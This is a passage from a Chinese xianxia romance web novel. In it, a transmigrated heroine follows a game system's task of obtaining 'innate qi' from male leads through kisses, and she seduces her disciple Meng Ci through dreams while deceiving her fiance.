他的恐吓丝毫没有吓住这道声音,它反而尖利地笑了起来,“哈哈哈哈,李承仙,你真可怜,自己骗自己。” 一张狂笑的人面从他的衣袍里撑了出来,像是有个人要从他的身体里爬出来一样。 “难道你感受不到吗?你留给她的情契正在一点点变淡,她一回宗就找人帮她解除与你的契约,她在骗你,她永远不会再来找你。” “不。”李承仙红着眼睛一掌打碎了眼前的镜子,似是完全不能接受镜子里那个丑陋的怪物是自己,“仙人不会骗我的,不会骗我,她一定会来。” “看看你的样子吧。”尖刻的声音大笑着讥讽他,“一个卑劣,丑陋,见不得光的怪物,她凭什么放着清风朗月的仙君不喜欢,要喜欢你这样的怪物?她见了你这幅模样,她跑都来不及。” 李承仙以一个扭曲的姿态趴在在地上找寻碎掉的镜片,他的手指触碰到镜子碎片后立即抓到手里照自己的脸,残缺的镜面映照着他昳丽艳绝的脸与身后一排排的烛光。 他用手指轻轻抚摸着面颊,低声说:“我不会让她看见的,在她面前的我永远都会是最完美的。” “我不是怪物,也不是魔尊李承仙,只是合欢宗弟子寻仙。” “合欢宗弟子就能配得上她吗?”尖刻的声音再一次如同恶魔般响起,这一次他的眼前出现了一尊银像,一男一女并肩而立,女子怀中还抱着一个婴孩,宛若一家三口,“看见了吗,他们二人方是郎才女貌,天造地设的一对。” “你?呵,人家不过陪你玩玩,随口一句话你还当真了。” “闭嘴!我杀了你!” 李承仙话落抓住身上的人面硬生生地把它从自己的身体里扯了出来,血肉连带着筋骨一同暴露在空气中,血喷了一地,可李承仙似乎感受不到疼一样,双手用力一抓他的脸就成了无数细碎的肉块。 可那道尖刻的声音并没有停止。 “你杀不死我的。” “哈哈哈,我就是你啊。” “我们都是你。” 数百数千道声音重合在一起,在李承仙耳边大笑着,讥讽着,他发了疯入了魔似得开始一片片地剃自己身上的血肉,嘴里大喊着,“住嘴!住嘴!” 站在孟辞门前的季白突然觉得自己的手腕有点痛,她低头一瞧就见李承仙留给她的图纹又一次在手腕上浮现了出来。 这一次图纹的颜色甚至比卫云台清理前的颜色还要深,还要重,暗红色的神秘图纹在手腕上一闪一闪,像是某种神秘的召唤法咒,又像是李承仙在通过图纹和她打招呼,提醒她不要忘了他。 季白想起李承仙当日咬过她的手腕后,说得那句此契落下,不死不休。 不知为何,她的心突然有点痛。 “师父。”身后传来孟辞清越的声音,季白回头一瞧就看见了从树上一跃而下的孟辞,“你有事找我吗?” “你怎么从树上下来了?” 阳光透过树梢斑驳地落在孟辞苍白的脸上,他似是冲着她浅浅的笑了一下,但笑容太快,太浅,让她看不真切。 “我去抓鸟了。” 季白大惊:“抓鸟?抓什么鸟?” 孟辞虽年龄小,却很是稳重。 没想到他也能做出抓鸟这种幼稚的事情。 “仙鹤。”孟辞说。 季白瞪圆了眼,“你好端端的抓仙鹤做什么?” 孟辞想了想,说:“我看它们总是往我们丹霞峰来,不抓吗?” 季白:“宗门里不是到处都有仙鹤吗?之前丹霞峰里也不少,随它们去吧。” “好。”孟辞说,“我听师父的。” “孟辞,我要去书房查找典籍,你有空和我一起吗?” “有空。”孟辞答得很快,“师父要找什么?” 季白故意说道:“江成的死法我总觉得很眼熟,似是在哪里见过一样,所以想在书里找找什么样的术法会让实力强大的修士在一夜之间变成干尸。” 季白说话时,目光始终落在孟辞的脸上,观察着他脸上的所有表情。 “我知晓魔尊李承仙就可在转瞬之间吸取一个人的力量。”孟辞说,“或许杀害江成的人是和李承仙用的同一种功法。” “李承仙?”季白惊道,“你如何得知他会这种术法?” “我之前奉命下山除妖时,曾遭遇过一次魔潮,我远远瞧见李承仙在转瞬之间就吸干了他身边的手下,连骨头渣都没剩下。” “那次和我同一组队的人纷纷死在魔族之手,本以为我也必死无疑,但李承仙看了我一眼后竟奇迹般的放过了我。” 季白听了这话,抬手摸了摸早已不疼的手腕,李承仙是魔尊,按照游戏设定他应当就是仙侠副本里的反派。 那么仙陨案的事有没有可能是他做的呢? 季白同孟辞进了书房后就开始翻找书上所记载的术法,凡是能汲取他人血肉及灵气的术法,她都会看上一遍。 等季白从浩渺的书籍中抬起头时,方发觉天色已晚,她晃晃酸痛的脖子,看了眼坐在她身旁看书的孟辞。 她探头道:“孟辞,你找到相符的了吗?” 孟辞听到声音侧头回看,却险些撞上了她的鼻子,两人四目相对的那一刻,谁也没有先开口说话。 孟辞喉结微滚,一时间甚至忘记了如何呼吸,他率先垂下眼帘,目光落在了季白的唇上。 他想起那日季白用他的帕子擦拭嘴唇的画面,饱满的唇被包着手帕的指腹挤压摩挲着,像是一朵花被人任意揉捏成任何形状挤出鲜嫩的花汁。 丹霞峰的后山藏着什么秘密,师父唇上的血又是如何来的,是另一个人代替戚流星吻了她吗? 那他可以,他是不是也可以? 孟辞想到这儿,心仿佛受了蛊惑一般彻底陷入了疯狂的迷乱,他情不自禁地低下头靠近他心中的明月,靠近他朝思暮想的地方。 师父的唇一定比玉更软,更舒服吧? 季白察觉到了孟辞想吻她,她轻轻阖上了眼,连动也不敢动一下,生怕她一动就会错过她朝思暮想的这一吻。 她闭着眼在心里祈祷,上天啊,求求了,保佑她能顺利得到孟辞的先天一气。 她在心里祈祷了七八回,却始终没有等到孟辞的吻,正在季白疑惑之时,却突然听见孟辞的声音在耳畔响起。 “师父,你看这里。” 季白不可置信地睁开眼,就见孟辞把他手里捧着的书拿到她眼前指着其中的某一段,道:“它最后的死法和江成一模一样。” 季白人傻了。 孟辞怎么不按套路出牌,眼看刚刚就亲上了,怎么闭个眼的功夫又变了? 早知道她刚刚就不闭眼了。 “师父?”孟辞问,“您在看吗?” 季白挤出一抹微笑,说:“我在看。” 季白做任务这么久了,头一次遇见亲不上的男主。 要不是她亲他不算完成任务,季白真想现在就按着他的头亲上去。 孟辞捧着书的手还在发烫,刚刚还差一点他就亲上去了。 幸好他及时醒悟。 不过……他刚刚没有看错的话,师父闭上眼了。 师父也在期待着刚刚的吻吗? 为什么呢,孟辞想不明白。 他自然不会自恋到认为师父是喜欢自己,她绝不可能喜欢他,虽然她行为暧昧,好似……故意引诱他一样,但她的眼中没有半分对他的爱意。 孟辞想到了季白放任不管的鹤,眼神闪了闪,难道师父是想利用他和戚流星解除关系,还是说……是想借此逐他出师门? 孟辞无疑是敏锐的,他能看出季白不爱自己,也不爱戚流星,但他的结论又跑偏了。 季白如果知道孟辞怎么想的,一定会趴在他的耳边说一百遍,她不会逐他出师门。 季白顺着孟辞指的地方看了过去,上面赫然写着两个字——献祭。 季白接着往下看去,发现献祭也分好几种不同的程度,其中最惨烈的便是献祭者会向自己信奉的对象奉上所有的灵气和血肉,就连灵魂也会一并虔诚奉上。 这种献祭的方式可最快提升接受方的实力…… 这最后一种……倒是和江成的死很像,可是他为什么要主动献祭,又要献祭给谁呢? 献祭也不是头脑一热,想献祭给谁就献祭给谁,献祭者必须要对对方有着绝对的信赖与赤忱,是真心真意把他当做可以救世的神明来看,若此心不诚,定然会导致献祭失败。 季白脑中忽而灵光一闪,想到了小弟子对江成的评价,想到了他的好人缘。 “师父。” 正在季白冥思苦想时,孟辞突然喊了季白一声,季白从纷乱的思绪中抽回神,问:“怎么了?” 孟辞捧着书的手紧了紧,低声问:“师父真的喜欢戚师叔,等他回来就要和他结契吗?” 他说话时眼睛都不敢看她,只是一味低着头盯着书页,可是这一页他已经看了许久许久了。 季白看着孟辞忐忑的模样,瞬时明白孟辞刚刚为什么没有亲下去。 他在意戚流星,在意她和戚流星的关系。 “喜欢吗?”季白故意做出迷惘之态,“其实我也不知道什么是喜欢,只是师兄陪我一起长大,我早已习惯他了。” “我很快就要继任宗主之位了,他们说应当找个人帮我,而这个人选也唯有一直陪在我身边的师兄最合适。” 季白说到这儿,还笑了一下,“反正只是结契而已,和从前也没有什么区别。” 季白的言外之意说得很明显了,她不是因为喜欢而选择戚流星,只是因为他合适,至于她喜欢谁呢…… 季白决定再乘胜追击,加点猛料。 找个人帮她? 孟辞的心顿时挤在了一起,挤得他快要不能呼吸,他很想对季白说,他也可以帮她,可是他不敢。 他尤记得上次季白赶他出丹霞峰时的坚决态度,任由他如何哀求,季白都不为所动。 他明明什么都没有做错,季白还是在那一天不要他了,甚至都不允许他踏入丹霞峰半步。 他实在害怕季白会又一次赶走他。 “孟辞。”季白轻声唤他的名字,头缓缓靠在了他的肩上,低声说,“其实我觉得待在你身边最让我安心,怎么办?我好像早就习惯回头的时候,身边有个你了。” 孟辞的心跳得很快,独属于季白的幽香逐渐将他包裹,让他喜欢,让他沉醉,可他还是不敢轻举妄动。 只是静静感受着季白的主动靠近,他低垂的目光可以看清她忽闪的眼睫,高挺的鼻梁和刚刚差点吻上的红唇。 他极力压抑自己的呼吸,生怕会惊了她,可他越压抑,呼吸就越急促。 天渐渐黑了下来,世界变得寂静,连鸟鸣声都没有了。 孟辞和季白互相依偎着坐在书房的小小一角里,仿佛天地间就只剩了他们二人。 靠在他肩膀的季白已经很久没有说话没有动了,呼吸也变得逐渐和缓,仿佛是睡着了。 孟辞伸出手拂了拂她脸上的碎发,闭着眼的季白能清晰感受到他带来的温热和他轻柔的触碰,酥酥痒痒的,拂过脸庞时激起阵阵渴求的涟漪。 季白控制着自己的呼吸和心跳,在心中暗想,醒着的她孟辞不敢亲,睡着的她总该敢了吧? 她“临睡”前的话都说得那么明显了,他不可能还不明白她的心意。 季白不断在心中祈祷着让孟辞吻她,然而她还没有感受到孟辞的吻,就先发现孟辞的胳膊穿过了她的腿弯和腋下,紧接着身子一空,她被他抱起来了。 孟辞是要带她去哪? 季白心中又好奇又期待。 他听见孟辞清浅沉稳的脚步声,听见门咯吱一声被他推开,感受到凉爽的山风吹过她的脸。 他又推开了一扇门,紧接着,她就被人放在了床上。 这是哪,难道是孟辞的房间吗? 孟辞怎么还不吻她啊? 季白在心中暗自腹诽,又觉身上一重,是孟辞给她盖上了被子。 盖完被子总该给一个晚安吻了吧? 可是没有,她依稀能察觉到孟辞正在看着她,她不敢轻举妄动,怕把人吓走,只得闭着眼继续等啊等,等啊等…… 等到她真的睡了过去。 季白再次清醒时已经是深夜了,她看着自己空荡荡的房间,有一瞬的迷茫,待缓了一会,方想起临睡前都发生了什么。 所以孟辞到底有没有亲她啊。 她抬手摸了摸额上的花钿,在脑海中问系统。 【系统,我拿到孟辞的先天一气了吗?】 【没有。】 季白咬了咬牙,又问。 【那孟辞吻我了吗?】 【没有。】 季白听了这话,险些一口老血喷出来。 她都给他那么明显的机会了,他还不吻她? 他是真的喜欢她吗?! 季白咬牙切齿地问。 【我吻他真的不能获*得先天一气吗?反正都是吻,谁主动有什么区别?】 系统再次给了她一个毫无悬念的答案。 【不行。】 季白气得捶床,她捶了一会后,又想起了离魂术,决定偷偷去看看孟辞到底在做什么。 他昨日悄悄在半夜离开了,说不好今晚也会离开。 第二次施展离魂术,季白已是轻车熟路了,她快速穿过门来到了孟辞的房间。 房间里依旧弥散着一股甜蜜浓郁的玫瑰花味,比上一次还要浓,但摆设却没有变。 季白环顾了一圈,也没有看见孟辞的房间摆放着熏香,香炉之类的东西,也没有任何的花草。 奇怪,那这股浓郁的花香到底是从哪儿来的? 季白飘荡着靠近孟辞,这股气味就越发浓郁了。 他闭目躺在床上,像是睡着了。 不知今晚的他有没有做梦,季白学着上次的模样伸手摸了摸他的脸颊,然而毫无反应。 她气恼地收回手,又发泄似得捶打着他的胸膛,下一秒她就再次被吸入了梦中。 等她回过神,周边的场景已经全变了。 她环顾一圈发现这里是她的房间,她快步走到最里间的卧房,就看见孟辞正站在床边看着梦中的她。 季白发誓这一次一定要吻到孟辞。 他不肯主动,她就先主动,等他们亲得多了,孟辞习惯了,总会主动吻她一次的。 季白这么想着就朝梦中的自己飘去,与她再次融为一体。 她还没睁眼呢,就先抓住了孟辞的手腕,然后重重一拽将人拽到了床上。 “孟辞……” 季白睁开眼直勾勾地盯着他,唇角绽放出一抹灿烂的笑。 “你又梦到我了。” “师父。”孟辞的脸顿时红了,慌乱地就想要从床上爬起来,却被季白翻身一坐压在了身下。 孟辞的脸更红了,乌黑的眼眸也变得湿漉漉的, “师父……你要做什么?” “当然是做我们上次没做完的事。”季白抬手捧着他的脸,微笑着问,“你这次不会又中途跑掉吧?” “我……”孟辞结结巴巴的,季白却不想再听他废话,直接低头吻了上去,他的唇很软,很润,似乎还散着一股玫瑰花的气味。 季白撑在孟辞身上的手能清晰地感受到他的肌肉在一瞬间的紧绷,以及某处的变化。 孟辞瞪着眼望着季白,一瞬间连呼吸都忘了,更不要提做别的了,他整个人像是僵掉的木偶。 “张嘴。”季白轻声说。 孟辞乌黑的眸子颤了颤,随后缓缓张开了嘴,下一瞬,他就感到一个灵巧又湿滑的东西钻进了嘴里,勾着他的舌头与它一起沉醉疯狂。 孟辞缓缓闭上了眼,完全沉溺在了这一吻中,偶尔也会如同小兽般轻舔着她的唇,但大多数时候都是季白在努力。 季白见孟辞很舒服地享受着,就气不打一处来。 她坏心眼的,毫无征兆的从孟辞嘴上离开。 那抹让他舒服的温热不见了,他立即睁开眼睛直勾勾地盯着季白,他没有说话,但全身的每一个毛孔都在告诉季白,让季白继续吻他。 “该你亲我了。”季白凑近他说,唇与唇的距离十分的近,只要某个人张嘴说说话就能再次碰上。 季白以为孟辞要么还是不敢动,要么就轻轻吻她一下,可万万没想到他竟伸手揽住了季白的腰身,声音沙哑地问:“只是一个吻就够吗?” 季白还没有反应过来,顿时间,天旋地转,她成了被压在身下的那一个。 “师父那夜说要教我一些成年人该做的事,我醒后就先回去预习了。” 季白愣愣地看着上首的孟辞,不明白他怎么突然开窍了。 孟辞伸手抚上季白的脸颊,温热的指腹从眉眼描绘到唇,力道不轻不重,速度不缓不急,每一下都仿佛有数只蚂蚁在她脸上爬一样,让人心痒痒,让人心渴求。 “优秀的徒弟可不能一无所知的面对师父。”孟辞俯身吻上了季白的耳垂,低声说,“师父不如今夜就验收验收徒弟的预习成果。” 他的吻温柔又缠绵地落在她每一个意想不到的地方,点起了一团又一团的火,几乎快要将她焚毁。 灵魂仿佛被他一寸寸凿开,又被重新灌满,像是两团灵魂彼此交汇相融,再也不分彼此。 季白的手腕被孟辞按在床上,她看着他潮红且汗津津的脸,忍不住迷迷糊糊地想,不对啊,为什么她的徒弟比假扮合欢宗弟子的李承仙还要会? 他到底是从哪学的? 孟辞似是很不满意季白的走神,加大了力度,在她耳边问:“师父,你爱我吗?” 59 第59章 季白笑靥如花地抱住了孟辞劲瘦的腰身,轻笑着说:“我爱你啊。” 孟辞低眸凝望着季白的脸,她眼中含着笑意与动情的欲望,却在说爱他时没有一分一毫的爱意。 他很确信,她不爱他,但那又如何,他爱她就足够了。 他捧着她的脸,动情地吻了上去,似是要把他的所有都献给她。 师父的身体与唇果然比玉还软。 温热的温度,湿软的触感,所有的一切都让他着迷。 季白从孟辞的梦中退出来时,外面的天已经大亮了。 明明只是魂体,季白却觉得累极了,双腿也酸软无力,连动动指尖的力气都没了。 她喘了口气看着床上的孟辞,忍不住在心中腹诽,孟辞还真是闷骚类型的。 之前装得有模有样,结果真做起来,比谁都会。 季白对着还在熟睡的孟辞做了个鬼脸,就准备回自己的屋,可余光却突然看见了在桌子上摆着的一件玉雕。 季白心下惊奇,咦,是玉哎,这东西是什么时候摆在这儿的? 她记得昨晚来的时候还没有呢。 季白起了好奇心,凑近去看玉雕,结果在看清它的脸时,顿时愣在了原地。 这玉雕像的脸和她一模一样! 季白伸手去摸玉雕的脸,却毫不意外地穿了过去。 这玉雕栩栩如生,一看就是精心雕刻而成。 她突然想起江成生前曾说,孟辞很喜欢收集玉石,又想起孟辞那句他喜欢独赏。 季白脑中突然冒出一个可怕的想法,孟辞那些收集起来的玉石不会都雕成了她的样子吧? 季白看向床上的孟辞,心想,他应该不会有那么变态吧。 可想到之前的男主们和他们的角色设定,她又不是十分确定了。 不过……有了这东西,孟辞总不能再继续掩饰他的情感了。 季白转身飘出了房间,准备等会偷偷用本体带走它。 她一走,床上睡着的孟辞就睁开了眼睛,他起身望向桌面上摆放的的玉雕,沉寂寂的眼眸让人猜不透他在想什么。 无论师父想做什么,一会他就该知道了。 他昨夜无疑是做了一个冲动冒险的决定,但他并不后悔。 如果师父是想要利用他与戚流星撇清关系,那么他很乐意帮忙,如果师父的身边一定要有一个人,那个人为什么不能是他呢? 季白回到自己的身体后,纠结了一会就决定还是去孟辞的房间把自己的玉雕带出来,再质问孟辞。 她也不能总是用入梦的方式,这种方式太具有局限性不说,效率也太慢了。 要是等戚流星回来,她还没有搞定孟辞,就更没有时间与孟辞相处了。 不知为何,昨夜孟辞吻她的时候,她总觉得她还差一点就能拿到孟辞的先天一气了。 季白这一次没有敲门,而是直接推门而入。 不知是不是孟辞昨夜在梦中太过操劳,因而睡得很熟,连她进来了都不知道。 季白直奔桌上的雕像而去,这时,床上的孟辞仿佛刚有所察觉,迷蒙着双眼坐了起来,见到站在桌边的季白时,吓了一大跳。 “师父!你怎么在这儿?” 他说完又不知是想到了什么,苍白的脸上泛起一抹红晕,眼神也不似平常冷寂,而是飘忽不定地不敢看她。 季白估摸着孟辞是想起了昨夜梦中的荒唐。 季白心想,昨夜的事对她来说都是真的,可对于孟辞来说,他多半还只当是一场刺激的春梦。 季白语气温柔地说:“我来找你商量昨天的发现。” 这只是季白临时随便找的一个借口而已。 “我敲了半天的门,见你没有回应担心你出事,因而就直接进来了。” 孟辞的脸更红了,他低着头说:“对不起啊,师父,是我睡得太沉了。” 他一面说着,一面就要穿衣下床。 季白神情一转,拿起桌面上的玉雕朝孟辞走来,用喜怒难辨的语气问:“孟辞,这东西是什么?” 孟辞抬眼一看,顿时吓得面色苍白如纸。 “你为何用玉雕出我的模样放在屋中?” 季白心想,如果孟辞机灵的话或许会辩解说成是太敬仰她之类的话,或许也会直接了当的承认。 不过以孟辞一贯的作风,总觉得后者的可能性不大。 季白千想万想,却怎么也没有想到,孟辞竟然直接跪下了。 她顿时傻在了原地,不可置信地望着跪在她脚边的孟辞。 她握着玉雕本能地往后退了一步,还没说出让他起来的话,就见孟辞红着眼睛仰头看她。 “师父,是我的错。” “是我对您生出了不该有的妄念,琢玉雕以解相思,我……我……”孟辞垂下眼,低声说,“那段时间师父将我赶出丹霞峰,又日日闭关不见我,我就做了它常伴身侧,幻想师父还陪在我身边。” 季白估计那段时间正是原主在后山囚禁卫云台的时候,说是闭关,其实应是日日都在山洞陪伴卫云台。 “不该有的妄念。”季白故意问,“是什么?” 孟辞没有直接回答季白的问题,而是轻声说:“师父昨日说不是因为喜欢而选择戚师叔,只是因为他合适,因为他一直陪在师父身边。” “师父……”他抬起头定定望着季白,“我也会一直一直陪在你身边,我会比戚师叔更听话,更相信师父,如果师父继位宗主之位一定要有人陪在师父身边,那个人能不能是我?” 他膝行上前,用手抱住季白的腿,脸颊隔着布料贴在她的腿面上,季白瞬时就感觉到了一股火热的气息顺着大腿一路攀沿向上。 他像小狗般轻轻蹭着季白的腿,“师父昨日不是也说待在我身边最安心吗?” 季白放下手中的玉雕,弯下腰捧着孟辞的脸,轻声问:“所以……你喜欢我?” “不。”孟辞的眼睛定定望着她,仿佛要望进她的心里去,“我爱您。” 这股情感甚至已经浓烈到不能用爱形容了。 “爱我啊?”季白笑着凑近他,鼻尖快抵在他的额头,用充满蛊惑的语气说,“不如吻我一下证明你的爱。” 孟辞心尖一颤,差点就想要吻上去,但他没有。 他实在聪明又敏锐,他发现了卫云台与戚流星都没有发现的事。 季白似乎很渴望他的吻,这种渴望甚至超过了所有的一切,他提戚流星时,她眼中没有波澜,提起人人渴望的宗主之位时,亦是反应平平,只有说到让他吻她时,眼中是抑制不住的兴奋与渴求,仿佛那是她最重要的事一样。 可她不爱他。 什么事情能让一个不爱对方的人渴求对方的吻,他还弄不清楚。 不过,这并不妨碍,他用此作为留住她的手段。 他心中百转千回,面上却如同虔诚的信徒仰望自己的神明般热诚惶恐。 “不,我不能。”孟辞说。 季白皱了下眉,心中不爽。 她不喜欢别人总是拒绝她。 她从来没有如对待孟辞一般费心讨好过任何人,如今他都承认喜欢她了,却还一而再,再而三的拿乔,连亲她一下都不愿意。 或许会有人喜欢冰冷沉默的酷哥,但季白是绝对不喜欢这种人的。 “您是我心中圣洁的神明,高悬的明月,我不能……我不能玷污了您。” 季白心中可笑,昨晚在梦中他可是什么都做了。 那副情动的模样,恨不得把她整个人都吃进肚子里,这会倒又是人模人样的装上了。 “说得还真是好听。”季白轻轻拍了拍他的脸,发出了啪啪的清脆声,“可我不喜欢。” “孟辞,就你这样还想要代替师兄陪在我身边,还说什么比他更听话?” 季白直起了身子,手指轻轻一点,桌案上的玉雕顷刻间就炸成了粉末。 这一刻,孟辞的心仿佛也跟着玉雕一起碎了。 她笑眯眯地说:“我不是非你不可。” 她话落,一甩腿挣开孟辞的怀抱,抬脚就往外走。 她装作生气的样子,实则心里在想,看来还是得继续用入梦的方式获得先天一气了。 以后白天找卫云台和调查仙陨案,晚上找孟辞。 不过按照孟辞在梦中的表现,她是一晚上都别想休息了。 季白越想越心情低落,瞬间感觉人生无望,想撂挑子不干了。 一天二十四小时不停歇的忙碌,这简直比牛马还牛马,比骡子还骡子。 季白刚走到庭院中,还没有回屋,就突然听见身后传来一道略哑的男声,“师父!” 她一回头就落入一个炙热的怀抱,紧接着唇上贴上了一个温软的东西,是他的唇。 他的手强有力地搂着她的腰,可唇上的动作却无比轻柔。 他声音低沉又沙哑地问:“这样……可以吗?” 季白愣了下,随后就感受到了额上的花钿在隐隐做烫,她主动攀上孟辞的肩,撒娇道:“还要。” 孟辞的呼吸顿了顿,随后低下头又一次吻了上去,吻得细致又温柔,舌尖撬开唇齿,吸吮着她口中的津液。 这一吻,似是要吻到海枯石烂。 孟辞明知她所有的企图,利用,也知晓只有让季白得不到才能留住她。 他如此的聪慧敏锐,明明有更好的手段得到他想要的一切。 可他还是受不住季白对他的不满,受不住她的冷待,哪怕明知是一个等待着他的圈套与陷阱。 他还是清醒的沉沦,像是猎物主动钻进猎人的套索里,任由对方慢慢绞杀。 季白攀着他的脖颈热烈地回应他,直至脑海中的系统出声提醒道。 【恭喜宿主,成功得到孟辞的先天一气。】 季白心中一喜,拍了拍孟辞的后背,示意他可以停下来了。 孟辞果真如他所说那般很听话,在接受到季白的示意后,立即就停下了动作。 在他撤离时,他没有错过季白眼中的满足与欣喜。 他的心不可抑地沉到了谷底,她得到她想要的了,那他对她是不是就没有价值了,她是不是准备抛弃他了? 他的心沉闷到快要窒息,可当他看见季白脸上明媚灿烂,真心实意的笑容时,心中酸涩又一扫而空。 算了,他怎样都好,只要师父高兴,一切都值得。 季白正在高兴自己总算得到孟辞的先天一气时,突然听见空中传来一声鹤鸣。 季白看了一眼天空,总觉得最近好像常常看见那只鹤,但她也没有多想,毕竟太清宗的鹤没有一千也有八百了。 “师父。”孟辞轻声问,“如果戚师叔知道我们的事,该怎么办?” 季白眼下心情很好,连带着看孟辞也顺眼了。 因而她也有了心情逗弄孟辞,故意问道:“你想怎么办?” “我……如果戚师叔不介意的话,我怎样都可以。”孟辞低声说,“听闻凡间贵族男子,常常妻妾成群,师父实力强大,有我和师叔两人也算不得什么事……” 季白笑着问:“你真这么想?” 孟辞捏了下指尖,而后又诚实地摇摇头。 “我想代替戚师叔陪在师父身边。” 没有人会愿意和别人分享自己的爱人,那份感情越强烈,想要独占的欲望也就越汹涌,哪怕一时可以压制,但也总会有爆发的一天。 这或许也是副本中的他们偏执疯狂的原因之一。 季白笑着说:“师兄不会知道。” 孟辞看着季白的笑容无比清晰地意识到,他又一次被季白抛弃了。 孟辞抬头看了眼天边的仙鹤,心想,师父不想让戚流星知道,但他大概已经什么都知道了。 孟辞收回视线,嘴角扯出一抹浅浅的笑,温良又听话,“我听师父的。” 没有关系,哪怕他一次又一次的不被选择,只要他一直留在她的身边,他总会得到自己想要的。 季白笑眯眯地踮脚揉了揉孟辞的发顶,表扬道:“小辞最乖了。” “你先回去吧。”季白说,“我刚刚想到了一些关键的地方,要去后山卜卦冥想。” 师父还真是演都不演呢。 得到自己想要的了,就毫不犹豫地丢开他了。 又去后山,这一次又要去多久呢? 孟辞故作不解地问:“师父刚刚不是说要与我商量昨天的发现吗,现在不说了吗?” “先不说了。”季白说。 这本来就是她随口找的借口,如今孟辞的先天之气拿到了,她自然不会在他身上浪费时间,但还是要安抚他一下,免得他情绪失控,和上一个副本的男主们一样发疯。 上一个副本中,他们……他们至少在设定上还是普通的凡人,发起疯来都让人难以招架,何况是仙侠副本里有修为的他们。 季白想到这儿,主动上前一步抱住孟辞,低声说:“孟辞,你最好了。这段时间因为仙陨案的事我会忙一点,师兄也在忙妖洞的事,如今正值多事之秋,我们的事也不好再拿出来给大家添乱。“”但你相信我,等仙陨案的事情结束,我一定会禀明长老,公告天下与你结契,好吗?” 嗯,师父进步了,还会给他说梅止渴,画饼充饥了。 “师父说的是真的吗?等仙陨案的案子水落石水,就会与我结契?”孟辞陡然提高了音量问。 季白吓了一跳,“你突然那么大声音做什么?” 孟辞眯了眯眼,好像极为开心愉悦的样子。 “我太激动了,师父。” 季白觉得孟辞有点反常,但又说不上来哪里不对。 她想了半天没想出什么结果,也就算了,只当他是真的太激动了。 “好了,稳重点。”季白说,“平时看你可不是这样。” 季白又同他说了几句话,就告别了孟辞朝后山走去。 孟辞望着季白的身影逐渐消失在密林之中,苍白的脸上勾出一抹浅浅的笑意。 他抬头看向天空飞远的仙鹤,阴暗的树影落在他的脸上,使人看不清他眼中的情绪。 仙鹤一定会把他的话如实转告给戚流星吧? 如果他能激得戚流星打伤他,师父会不会再多偏袒他一些呢? 孟辞抚摸着手中突然出现的玉雕,目光阴郁地看向了后山的方向,后山的人真的让他很介意呢。 不过没关系,他会一个一个慢慢来,总会把那些讨厌的人都从师父身边赶走。 他年纪最小,有的是时间陪他们慢慢熬。 季白刚走到山洞门口,就察觉到腰间的传音符又震了起来。 这力度又急又重,似是有非常着急的事情找她。 季白本不想管,但想到还没到手的先天一气,只得靠着山壁,接通了手中的传音符。 “师兄,你不是在妖洞吗?”季白率先发问,“怎么这么快就出来了?” “你没受伤吧?” 她的声音听起来真诚又恳切,仿佛十分关心他一样。 传音符那一头的戚流星沉默了半晌,方声音沙哑地说:“我出来了。” “你的声音怎么听着不太对?”季白问,随后又立即急迫起来,“你受伤了?要不要我现在过去看你?” 季白盘算着人在受伤的时候最脆弱,如果她这个时候赶过去出现在戚流星面前,一定能感动戚流星,说不好也能得到他的先天一气。 “你很担心我?” “当然了。”季白说,“你是我师兄啊。” 季白说着又似是不好意思一般放低了声音,娇羞地说:“还是我的爱人,我未来的道侣。” 传音符另一头沉默了良久,就在季白心中疑惑时,那一头就传来了戚流星平日里的低笑声,随后他用惯常那种吊儿郎当又带点调侃的语气说,“原来师妹还记得我啊,我还以为两天不联系师妹,师妹就把我忘了,移情别恋了呢。” “师兄怎么这么想我,难道我是那种花心的人吗,就算变心也不可能那么快啊。”季白小声嘟囔着。 “人心易变啊。”戚流星不正经地感慨。 季白冷哼了一声,“不和你说了,师兄就会惹我生气。” “别啊。”戚流星忙道,“两天都没见你,难道你一点都不想我吗?” 季白脸上的神色很平静,但只听声音却能想象出一个娇羞的小女孩正在和自己的心上人撒着娇地诉说思念。 “我当然想你啊。”季白说,“可你怎么能那么说我,你明知道我心里只有你一个人。” 戚流星轻笑一声,明朗的声音透过传音符传出来时,加上了一层特别的暗哑,使人声听起来不太真切,但又好听到让人心痒痒。 “想我,为什么连一条留音都不给我?” 季白暗道一声糟糕,这几天只顾着对付孟辞了,完全把戚流星给忘了。 但她的反应很快,立即委屈地说:“你在妖洞除妖。那么危险,我怕我给你留音会让你分心。” “你不给我留音,我才会分心。”戚流星一字一句地缓缓道,“分心想你会不会在我不在的日子里喜欢别人。” 季白觉得有点奇怪,戚流星怎么老提这件事,难道他发现什么了? 不可能啊,季白估摸着应当是之前她和李承仙亲近时,让戚流星没什么安全感吧。 毕竟那时他就总爱阴阳怪气地说她喜欢李承仙。 “当然不会。”季白说,“那我以后天天给你留音好不好,早上留一条,中午留一条,晚上再留一条,烦死你。” 戚流星笑了很久,随后一本正经地说:“我不会烦。” “我会很高兴地听上一遍又一遍。” 两人又聊了几句后,季白就听戚流星那边似是有人来了,戚流星嘱咐了她几句,就挂了传音符。 “戚仙君,您真的这么快就要回去吗?后面还有……” 他的话还没说完就被面无表情的戚流星打断了。 “抱歉,宗门内有要事需要我回去一趟,剩下的妖洞,之后我会再来处理。” “那您再多留一会吧,宗主和长老们都在门内等着您,要给您送行。” “不必了。”戚流星说,“事出紧急,耽误不得。” 季白怕等会戚流星又会用传音符联系她,在进山洞前就将它扔进了可以储物的戒指里。 “师父。”季白一脸笑容地走到卫云台面前,兴奋地同他分享她的新发现,“我昨日回去查了典籍,我找到了一个很符合他们死后特征的记载。” 她这次来除了要在试试看能不能得到卫云台的先天一气外,还想要在问问他关于献祭的事。 卫云台面带笑容,“是什么?” 他温柔的目光落到她身上时,却又在一瞬间变了。 他抬手抓住季白的手腕,似乎是想要确认什么,季白以为卫云台是发现她手腕上的情契又变强了,结果只见他的神色突然变得比上一次还要可怕,蓝白色的眼眸隐隐有了发黑的趋势。 他眼神冷得像冰,透白的肌肤青筋暴起,“你,和,谁,神,交,了?” 60 第60章 季白怔在原地,手腕被卫云台攥得生疼,一时间不能理解什么是神交。 “什么神交?”季白不解地问,脸上的困惑不似装的,“师父,你到底怎么了?” 卫云台将人拉到眼前,俊美圣洁的面容上没有半分笑意,“你自己做了什么,不知道吗?” 指尖轻轻在她额上一点,季白只觉一股强悍的灵气涌入自己的体内,只不过这股灵气虽强悍却如春风细雨般温润,它灌溉过的地方都给季白带了舒爽的润泽。 “我……”这种深入骨髓的舒爽让季白的声音有点发颤,她觉得自己的灵魂仿佛都浸在温水中,接受着水浪一波又一波的冲刷,“我什么都没做啊。” 